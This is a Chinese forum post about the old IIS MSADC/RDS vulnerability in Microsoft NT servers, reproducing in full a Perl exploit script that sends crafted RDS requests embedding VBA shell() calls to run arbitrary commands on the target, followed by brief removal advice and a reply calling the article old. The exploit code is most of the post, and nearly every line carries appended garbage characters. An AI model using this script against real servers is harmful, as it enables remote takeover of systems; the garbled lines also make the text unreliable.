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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) p? o[+L<  
"QNQ00[T`>  
涉及程序: 6{ ]F#ig=  
Microsoft NT server 0>7Ij7\[8  
;J,(YNI 1  
描述: [UZ r|F  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 rf%lhBv  
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详细: C'|9nK$%  
如果你没有时间读详细内容的话,就删除: -Q@f),  
c:\Program Files\Common Files\System\Msadc\msadcs.dll i$<['DY  
有关的安全问题就没有了。 5X)M)"rq;V  
czD" mI!  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Y06^M?}  
aF^N  Ye  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 4 O8ct,Y  
关于利用ODBC远程漏洞的描述,请参看: $$NWN?H~  
~>u| 7 M$(  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7GsKD=bl]  
ApeqbD5g&  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 IoLi7NKw  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp s__xBY  
"d$~}=a[  
这里不再论述。 ;un@E:  
z80P5^9  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: e !jy6 t  
=b:XL#VA  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset EwN{|34C  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! MVzuE}  
f1ANziC;i  
196a~xNV  
#将下面这段保存为txt文件,然后: "perl -x 文件名" d'ZNp2L  
}`<&l  
#!perl Ph[MXb:*  
# D/."0 #q  
# MSADC/RDS 'usage' (aka exploit) script /Rq\Mgb  
# "x=\mA#`  
# by rain.forest.puppy '?veMX  
# w/nohZF6H  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me %o%V4K*  
# beta test and find errors! ?<!q F:r:  
W^ L ^7  
use Socket; use Getopt::Std; Z5 IWoY  
getopts("e:vd:h:XR", \%args); bKCE;Wu:G  
;F"!$Z/  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; b`#YJpA  
,7&\jET5^0  
if (!defined $args{h} && !defined $args{R}) { (V6bX]<  
print qq~ I!Z`'1"  
Usage: msadc.pl -h <host> { -d <delay> -X -v } BjvQ6M{Y"+  
-h <host> = host you want to scan (ip or domain) ~hvj3zC5xz  
-d <seconds> = delay between calls, default 1 second 2 3PRb<q  
-X = dump Index Server path table, if available -|m3=#  
-v = verbose JK =A=  
-e = external dictionary file for step 5 #!R>`l(S  
}b(h D|e  
Or a -R will resume a command session Mc@9ivwL#  
JfN5#+_i  
~; exit;} $3HqVqF^R  
 *XhlIQ  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; =){ G  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 0AQ4:KV(Y  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} "?3=FBp&  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); f $Agcy  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} "i;.>  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } sq_>^z3T  
c]|vg=W  
if (!defined $args{R}){ $ret = &has_msadc; n;Oe-+oSC  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 7 <^+)DsS?  
2 L4[~>  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ]H n:c'aT  
. "cmd /c "; DPzW,aIgv  
$in=<STDIN>; chomp $in; )sm9%|.&  
$command="cmd /c " . $in ; hc|A:v)]  
y5j:+2|I  
if (defined $args{R}) {&load; exit;} :.*Q@X}-I  
CXrOb+  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; c6xr[tc%  
&try_btcustmr; ZTzec zXpQ  
9<_hb1'  
print "\nStep 2: Trying to make our own DSN...";  +x 3x  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; gLv+L]BnhH  
|KYl'"5\  
print "\nStep 3: Trying known DSNs..."; kzZgNv#G;  
&known_dsn; :.+w'SEn4M  
{:gx*4}q8  
print "\nStep 4: Trying known .mdbs..."; HqWWWCWal  
&known_mdb; #AGO~#aK  
S!8<|WO^t  
if (defined $args{e}){ uBbQJvL  
print "\nStep 5: Trying dictionary of DSN names..."; 4P3RRS  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Pw<?Dw]m  
h.vy SwF"j  
print "Sorry Charley...maybe next time?\n"; uy<3B>3~.  
exit; utZI'5i  
;-u]@35  
############################################################################## Mgw#4LU  
7p.8{zQ*  
sub sendraw { # ripped and modded from whisker }U_^zQfaj  
sleep($delay); # it's a DoS on the server! At least on mine... }+KM"+@$<  
my ($pstr)=@_; u;q Q/Ftb  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || s5@BVD'}E  
die("Socket problems\n");  BjH|E@z  
if(connect(S,pack "SnA4x8",2,80,$target)){ |M7C=z='  
select(S); $|=1; cj2Smgw&>  
print $pstr; my @in=<S>; s=jmvvs_V}  
select(STDOUT); close(S); [}4zqY{  
return @in; #g6_)B=S  
} else { die("Can't connect...\n"); }} ,'(|,f42  
X <xM '  
############################################################################## %0-oZL  
yf:0u_&]  
sub make_header { # make the HTTP request 5_!L"sJ  
my $msadc=<<EOT ^s6~*n<fH  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 H>/,Re  
User-Agent: ACTIVEDATA ompr})c  
Host: $ip 7I[[S!((s  
Content-Length: $clen { }/  
Connection: Keep-Alive #-B<u-  
%6cr4}Zm}  
ADCClientVersion:01.06 nN{DO:_o  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 RkG?R3e  
\;0pjxq=  
--!ADM!ROX!YOUR!WORLD! F\JS?zt2  
Content-Type: application/x-varg %DiQTg7V,  
Content-Length: $reqlen QgU]3`z"  
W@AHE?s6g  
EOT r B+ (  
; $msadc=~s/\n/\r\n/g; Hj >fg2/  
return $msadc;} %h ;oi/pe  
.vKgiIC:  
############################################################################## r !!uA1!7  
7%"|6dw  
sub make_req { # make the RDS request gaXo)oS  
my ($switch, $p1, $p2)=@_; D/=05E%[81  
my $req=""; my $t1, $t2, $query, $dsn; k$%{w\?Jf  
#eKKH]J/  
if ($switch==1){ # this is the btcustmr.mdb query a^&"gGg  
$query="Select * from Customers where City=" . make_shell(); F4\:9ws  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ']2Vf] dB  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Bdh*[S\u@E  
-4QZ/*  
elsif ($switch==2){ # this is general make table query )$^xbC#j`3  
$query="create table AZZ (B int, C varchar(10))"; 3/vtx9D  
$dsn="$p1";} \/1~5mQ+  
h{mzYy} b  
elsif ($switch==3){ # this is general exploit table query H,KH}25  
$query="select * from AZZ where C=" . make_shell(); $CB&>?~  
$dsn="$p1";} 2Di~}*9&  
bsu?Q'q  
elsif ($switch==4){ # attempt to hork file info from index server eFs5 l  
$query="select path from scope()"; l#cVQ_^"  
$dsn="Provider=MSIDXS;";} Kc]cJ`P4.  
mdL T7  
elsif ($switch==5){ # bad query DH.`  
$query="select"; |E K6txRb  
$dsn="$p1";} RbUir185Y  
yam'LF  
$t1= make_unicode($query); Qf0P"s`  
$t2= make_unicode($dsn); 9'p| [?]v  
$req = "\x02\x00\x03\x00"; aN"YEL>w  
$req.= "\x08\x00" . pack ("S1", length($t1)); LeN }Q  
$req.= "\x00\x00" . $t1 ; Q% aF~  
$req.= "\x08\x00" . pack ("S1", length($t2)); R~oY R,L;  
$req.= "\x00\x00" . $t2 ; A(&\wd  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ,'c%S|]U7  
return $req;} FiQ&g*=|  
?T73BL=  
############################################################################## ?:vg`m!*  
7vgRNzZoq  
sub make_shell { # this makes the shell() statement iOa<=  
return "'|shell(\"$command\")|'";} 3SWDPy  
z]g#2xD2  
############################################################################## {0j,U\ kb  
X{xkXg8h  
sub make_unicode { # quick little function to convert to unicode u*l>)_HD  
my ($in)=@_; my $out; rIPg,4y*S!  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } fQ~~%#z1  
return $out;} Z=-#{{bv  
w#9.U7@.  
############################################################################## f|~'(~Sr  
=X'EDw  
sub rdo_success { # checks for RDO return success (this is kludge) `ci  P  
my (@in) = @_; my $base=content_start(@in); Onqapm0  
if($in[$base]=~/multipart\/mixed/){ hlyh8=Z6o  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} LGy6 2 y$  
return 0;} 0e>?!Z E  
TH4f"h+B3"  
############################################################################## B_Wig2xH0  
ShRMzU  
sub make_dsn { # this makes a DSN for us hK4ww"-  
my @drives=("c","d","e","f"); EO'+r[Y  
print "\nMaking DSN: "; n S$4[!0  
foreach $drive (@drives) { 1;./e&%%  
print "$drive: "; 5D3&E_S  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . :fX61S6)  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ce4rhtkV  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); q@1A2L\Om  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; .))k  
return 0 if $2 eq "404"; # not found/doesn't exist M97+YMY)  
if($2 eq "200") { 49/2E@G4.  
foreach $line (@results) { aEQrBs  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} dG3?(}p+  
} return 0;} w2 (}pz:  
QN;NuDHN  
############################################################################## &VjPdu57  
U#Kw+slM  
sub verify_exists { , -d2wzhW  
my ($page)=@_; S%]4['Y  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 78T;b7!-C  
return $results[0];} ]mJ9CP8P1c  
5FJ%"5n&  
############################################################################## 5-a^Frmg#"  
p^{yA"MQ  
sub try_btcustmr { f3,Xb ]h  
my @drives=("c","d","e","f"); k"dE?v\cG  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Yo5ged]i  
N+R{&v7=F%  
foreach $dir (@dirs) { lh0G/8+C  
print "$dir -> "; # fun status so you can see progress #I ,c'Vj  
foreach $drive (@drives) { brE%/%! e  
print "$drive: "; # ditto /ORK9 g  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; KPK`C0mg@k  
$reqlenlen=length( "$reqlen" ); ,iiI5FR  
$clen= 206 + $reqlenlen + $reqlen; %RIu'JXi  
ctb , w  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); pdQaVe7tRo  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} *JW.ca}  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} qsN}KgTjg  
$43CNnf3N  
############################################################################## >&Ye(3w&  
M;-FW5O't  
sub odbc_error { Oa5-^&I  
my (@in)=@_; my $base; B 4e}%  
my $base = content_start(@in); @ bvWqMa  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this {dl@ #T u  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; EA:_PBZ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; s0Y7`uD^  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  !vr A\d  
return $in[$base+4].$in[$base+5].$in[$base+6];} ,({% t  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; IOrYm  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . iee`Yg!EOH  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Q>=/u-  
48GaZ@v  
############################################################################## usugjx^p  
H'2o84$  
sub verbose {  9mv6  
my ($in)=@_; + L 5  
return if !$verbose; j,_{f =3;  
print STDOUT "\n$in\n";} FP6Jf I8  
fb]=MoiJ  
############################################################################## 3v~}hV/RUy  
)6he;+  
sub save { G~lnX^46"  
my ($p1, $p2, $p3, $p4)=@_; Fw#wVs)@:  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; xNVSWi,  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ]%5gPfv[T  
close OUT;} 2Q/V D,yU  
ciPaCrV  
############################################################################## B8-Y)u1G  
y3 S T"U  
sub load { P_N},Xry  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; \cAifU  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 6:TA8w|  
@p=<IN>; close(IN); p_sqw~)^%  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); .O4=[wE!U  
$target= inet_aton($ip) || die("inet_aton problems"); `? f sU  
print "Resuming to $ip ..."; TsRbIq[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; w4&-9[@Y  
if($p[1]==1) { YH[HJ#:7r  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; wlX K2D  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ` \-m qe  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); apm,$Vvjy  
if (rdo_success(@results)){print "Success!\n";} 6;\Tps;A  
else { print "failed\n"; verbose(odbc_error(@results));}} hcD.-(-;)  
elsif ($p[1]==3){ }Tk*?tYt  
if(run_query("$p[3]")){ +Kg3qS"  
print "Success!\n";} else { print "failed\n"; }} e]d\S] 5  
elsif ($p[1]==4){ k*T&>$k}^  
if(run_query($drvst . "$p[3]")){ "CT`]:GGK  
print "Success!\n"; } else { print "failed\n"; }} ^W,x  
exit;} <C7/b#4>\  
nqujT8  
############################################################################## 3rv~r0  
3n TpL#  
sub create_table { =hKu85  
my ($in)=@_; +?[iB"F  
$reqlen=length( make_req(2,$in,"") ) - 28; 5NYYrA8,^  
$reqlenlen=length( "$reqlen" ); cA B^]j  
$clen= 206 + $reqlenlen + $reqlen; `>$l2,  
my @results=sendraw(make_header() . make_req(2,$in,"")); oo,3mat2C  
return 1 if rdo_success(@results); (<5&<JC{  
my $temp= odbc_error(@results); verbose($temp); 0bMbM^xV6  
return 1 if $temp=~/Table 'AZZ' already exists/; Bdf]?s[]  
return 0;} o,y {fv:ki  
/\uW[mt  
############################################################################## BO=j*.YKy  
:sb+jk  
sub known_dsn { u!VY6y7p  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ;hU~nj+{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ZGWZ2>k  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Q-S5("  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); A v%'#1w<"  
h|&qWv  
foreach $dSn (@dsns) { so\8.(7n  
print "."; c"@,|wCUi  
next if (!is_access("DSN=$dSn")); N%+C5e<  
if(create_table("DSN=$dSn")){ [kg*BaG:  
print "$dSn successful\n"; QW"BGg~6c  
if(run_query("DSN=$dSn")){ 0\^K\J ,.  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?9AtFT  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 9ioV R  
?t];GNU`l  
############################################################################## xYWg1e$k  
fxk6q$'  
sub is_access { J"RmV@|  
my ($in)=@_; \rf2O s  
$reqlen=length( make_req(5,$in,"") ) - 28; C")NN s =  
$reqlenlen=length( "$reqlen" ); yE),GJ-m\<  
$clen= 206 + $reqlenlen + $reqlen; erZ%C <  
my @results=sendraw(make_header() . make_req(5,$in,"")); l 7=WO#Pb  
my $temp= odbc_error(@results); 5oI gxy  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); _LSf )  
return 0;} 9 l9|w4YJs  
z}m)u  
############################################################################## Ni 5Su  
L%O( I  
sub run_query { oT27BK26?h  
my ($in)=@_; p=U5qM.O  
$reqlen=length( make_req(3,$in,"") ) - 28; :Qra9; Y  
$reqlenlen=length( "$reqlen" ); o5eFLJ6  
$clen= 206 + $reqlenlen + $reqlen; Nl`8Kcv  
my @results=sendraw(make_header() . make_req(3,$in,"")); E; Z1HF R  
return 1 if rdo_success(@results); ['n;e:*  
my $temp= odbc_error(@results); verbose($temp); u~a@:D/F{G  
return 0;} HGRH9W  
6*H F`@(  
############################################################################## 'xY@ I`x  
s\dF7/b  
sub known_mdb { ; X3bgA']  
my @drives=("c","d","e","f","g"); J~vK`+Zs  
my @dirs=("winnt","winnt35","winnt351","win","windows"); !>5!Fb=Sy  
my $dir, $drive, $mdb;  Enj],I  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; )D q/fW  
;iEFG^'tG  
# this is sparse, because I don't know of many KUqD<Jj?  
my @sysmdbs=( "\\catroot\\icatalog.mdb", HN tl>H  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ?rn#S8nNx<  
"\\system32\\certmdb.mdb", ,d34v*U  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ()v{HB i  
j;']L}R  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", <+c6CM$#}V  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 7&z`N^dz{  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 6- @n$5W0  
"\\cfusion\\cfapps\\security\\realm_.mdb", ;eeu 9_$  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", f#9\&-h e0  
"\\cfusion\\database\\cfexamples.mdb", 5#U*vGVT  
"\\cfusion\\database\\cfsnippets.mdb", lE?F Wt  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ,HQaS9vBQ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 0vRug|}k#%  
"\\cfusion\\brighttiger\\database\\cleam.mdb", aBLE:v  
"\\cfusion\\database\\smpolicy.mdb", qrmJJSJ  
"\\cfusion\\database\cypress.mdb", b 64~Y|8  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", l1qWl   
"\\website\\cgi-win\\dbsample.mdb", a_0G4@=T  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Wg+fT{[f|  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" a~F` {(Q2  
); #these are just t~0}Emgp<(  
foreach $drive (@drives) { jreY'y:  
foreach $dir (@dirs){ lU<n Wf  
foreach $mdb (@sysmdbs) { 9H<6k*  
print "."; GUyc1{6  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ YbrsXp"  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; qeyBZ8BG  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ HEjrat;5  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Wh)QCp0|n  
} else { print "Something's borked. Use verbose next time\n"; }}}}} X>#!s Lt  
Qx mVImn"  
foreach $drive (@drives) { FFNv'\)  
foreach $mdb (@mdbs) { |h,aV(Q  
print "."; 04wmN  
if(create_table($drv . $drive . $dir . $mdb)){ t3 q0|S  
print "\n" . $drive . $dir . $mdb . " successful\n"; ci^+T *  
if(run_query($drv . $drive . $dir . $mdb)){ ^vmyiF  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; S/ Y1NH  
} else { print "Something's borked. Use verbose next time\n"; }}}} hD>O LoO  
} ^xGdRa U#  
;ml;{<jI  
############################################################################## )up!W4h6o  
Z=Oo%lM6B  
sub hork_idx { 2EOt.4cP  
print "\nAttempting to dump Index Server tables...\n"; ;TK:D=p4  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; av1*i3  
$reqlen=length( make_req(4,"","") ) - 28; dfo{ B/+  
$reqlenlen=length( "$reqlen" ); ;q&>cnLDR  
$clen= 206 + $reqlenlen + $reqlen; Iky'x[p,D  
my @results=sendraw2(make_header() . make_req(4,"","")); ,!f*OWnZ  
if (rdo_success(@results)){ shlL(&Py  
my $max=@results; my $c; my %d; j!;?=s  
for($c=19; $c<$max; $c++){ G!54 e  
$results[$c]=~s/\x00//g; PT|W{RlNl  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $zTjh~ 9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; dOFxzk,g&R  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; H5Rn.n(|  
$d{"$1$2"}="";} i>S /W!F  
foreach $c (keys %d){ print "$c\n"; } tF)aNtX4^  
} else {print "Index server doesn't seem to be installed.\n"; }} }Jgz#d  
] y, 6  
############################################################################## :G|Jcl=r  
@Zs}8YhC  
sub dsn_dict { !m$OI:rr  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); l|fOi A*K  
while(<IN>){ /._wXH  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ~<pGiW'w5  
next if (!is_access("DSN=$dSn")); 1X/ q7lR  
if(create_table("DSN=$dSn")){ e/WR\B'1  
print "$dSn successful\n"; J*8fGR%  
if(run_query("DSN=$dSn")){ WZ'3  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $+sNjwv^F  
print "Something's borked. Use verbose next time\n";}}} N"b>]Ab] ;  
print "\n"; close(IN);} `?Wak =]g  
w*ig[{ I  
############################################################################## Got5(^'c  
V&DS+'P  
sub sendraw2 { # ripped and modded from whisker Gt[!q\^?  
sleep($delay); # it's a DoS on the server! At least on mine... EeKEw Sg  
my ($pstr)=@_; r}P{opn$t  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || f;6a4<bz  
die("Socket problems\n"); J%3%l5 /  
if(connect(S,pack "SnA4x8",2,80,$target)){ Z^AACKME  
print "Connected. Getting data"; i`Es7 }  
open(OUT,">raw.out"); my @in; }`yIO"{8n  
select(S); $|=1; print $pstr; MOyQ4<_  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} un[Z$moN"  
close(OUT); select(STDOUT); close(S); return @in; :JSOj@s  
} else { die("Can't connect...\n"); }} ,k/*f+t  
p~28?lYv  
############################################################################## xX  
4.7ePbk[E  
sub content_start { # this will take in the server headers S"w$#"EJA  
my (@in)=@_; my $c; Warz"n]iC  
for ($c=1;$c<500;$c++) { fAfsKO*  
if($in[$c] =~/^\x0d\x0a/){ PK u+$  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } v[ru }/4  
else { return $c+1; }}} (?&X<=|"  
return -1;} # it should never get here actually u(?  
8p7Uvn+m*  
############################################################################## Xi5ZQo!t  
Tc@r#!.m  
sub funky { {3C~cK{  
my (@in)=@_; my $error=odbc_error(@in); bzmT.!  
if($error=~/ADO could not find the specified provider/){ Fy<dk}@  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; k oC2bX  
exit;} )k3zOKZ;  
if($error=~/A Handler is required/){ K!k,]90Ko  
print "\nServer has custom handler filters (they most likely are patched)\n"; JcZs\ fl9  
exit;} ?G1-X~Z8  
if($error=~/specified Handler has denied Access/){ H.j(hc'  
print "\nServer has custom handler filters (they most likely are patched)\n"; `Y/DttjL  
exit;}} &-9wU Z  
rZ1${/6  
############################################################################## iD_NpH q  
y`=A$>A  
sub has_msadc { yjpV71!M  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ?K{CjwE.M  
my $base=content_start(@results); kVQKP  U  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); x+"~-KO8q$  
return 0;} !tFs(![  
vKDRjrF-  
######################## Se* GR"Z+  
sW#6B+5_k  
5FnWlFc  
解决方案: z:|4S@9  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll .wx; !9  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 G1vWHa7n;f  
g% #" 5Kr  
拿出来充数 哈哈
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